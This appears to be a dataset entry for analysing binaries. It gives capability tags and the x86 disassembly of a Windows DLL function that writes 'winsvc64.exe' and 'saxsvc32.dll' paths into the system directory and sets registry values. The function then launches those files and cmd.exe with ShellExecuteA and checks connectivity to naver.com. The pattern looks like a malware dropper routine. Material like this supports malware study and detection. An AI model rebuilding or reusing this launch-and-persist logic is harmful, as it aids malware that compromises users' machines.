Function at 0x10002ac0
Capabilities:
Check internet connectivity via wininet
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x118
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x114], eax
push ebp
push esi
xor ebp, ebp
push 0x103
lea eax, [esp + 0x1d]
push ebp
push eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], ebp
mov byte [esp + 0x24], 0
call sub.MSVCR90.dll_memset
mov eax, 0x10005808
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002b00
sub eax, edx
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push edi
jne 0x10002b7b
push 0x104
push ebp
push 0x10005808
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x104
push 0x10005808
call esi
mov edi, 0x10005808
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002b37
mov cx, word [0x100041f0]
mov eax, 0x10005808
mov word [edi], cx
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10002b50
mov edx, dword [str.winsvc64.exe]
mov ecx, dword [0x100042a8]
mov dword [eax], edx
mov edx, dword [0x100042ac]
mov dword [eax + 4], ecx
mov cl, byte [0x100042b0]
mov dword [eax + 8], edx
mov byte [eax + 0xc], cl
mov eax, 0x10005910
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002b83
sub eax, edx
jne 0x10002bfb
push 0x104
push ebp
push 0x10005910
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x104
push 0x10005910
call esi
mov edi, 0x10005910
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002bb3
mov dx, word [0x100041f0]
mov eax, 0x10005910
mov word [edi], dx
dec eax
jmp 0x10002bd0
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10002bd0
mov ecx, dword [str.saxsvc32.dll]
mov edx, dword [0x100042b8]
mov dword [eax], ecx
mov ecx, dword [0x100042bc]
mov dword [eax + 4], edx
mov dl, byte [0x100042c0]
mov dword [eax + 8], ecx
mov byte [eax + 0xc], dl
mov eax, dword [esp + 0x128]
cmp eax, 2
je 0x10002c49
cmp eax, 3
je 0x10002c49
cmp eax, 5
je 0x10002c49
mov eax, dword [0x100056cc]
mov edx, dword [0x10005534]
push 4
lea ecx, [esp + 0x10]
push ecx
push 4
push ebp
mov dword [0x100057fc], eax
mov eax, 0x63
push 0x10005164
mov dword [esp + 0x28], 1
mov dword [0x1000565c], eax
mov dword [esp + 0x20], eax
push edx
jmp 0x10002c75
cmp dword [0x1000565c], ebp
jne 0x10002c7b
mov ecx, dword [0x10005534]
mov eax, 0x58
push 4
mov dword [0x1000565c], eax
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push 4
push ebp
push 0x10005164
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [0x100056cc]
push 0x10005910
push edx
lea eax, [esp + 0x24]
push str._d__s
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x10
push ebp
push ebp
lea ecx, [esp + 0x24]
push ecx
push 0x10005808
push ebp
push ebp
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, 0x64
nop
push 0xc8
dec esi
call ebp
mov ecx, dword [0x10005534]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x10005164
push ecx
mov dword [esp + 0x28], 4
mov dword [esp + 0x24], 0
call edi
mov eax, dword [esp + 0xc]
mov dword [0x1000565c], eax
cmp eax, 1
je 0x10002d0c
test esi, esi
jg 0x10002cc0
mov esi, dword [esp + 0x18]
jmp 0x10002d46
cmp dword [esp + 0x14], 0
mov esi, 1
je 0x10002d46
push 0
push 0
push 0x100056f8
push str.cmd.exe
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp dword [esp + 0x128], 6
jne 0x10002d3f
call fcn.100028f0
push 0x1388
call ebp
push 0
push 1
push str.http:__www.naver.com
call dword [sym.imp.WININET.dll_InternetCheckConnectionA]
pop edi
test eax, eax
jne 0x10002d7c
cmp dword [esp + 0x10], eax
je 0x10002d7c
mov eax, dword [0x10005800]
inc eax
cmp eax, 5
mov dword [0x10005800], eax
jge 0x10002d7c
call fcn.10002990
push 0x1388
call ebp
mov ecx, dword [esp + 0x11c]
mov eax, esi
pop esi
pop ebp
xor ecx, esp
call fcn.1000362c
add esp, 0x118
ret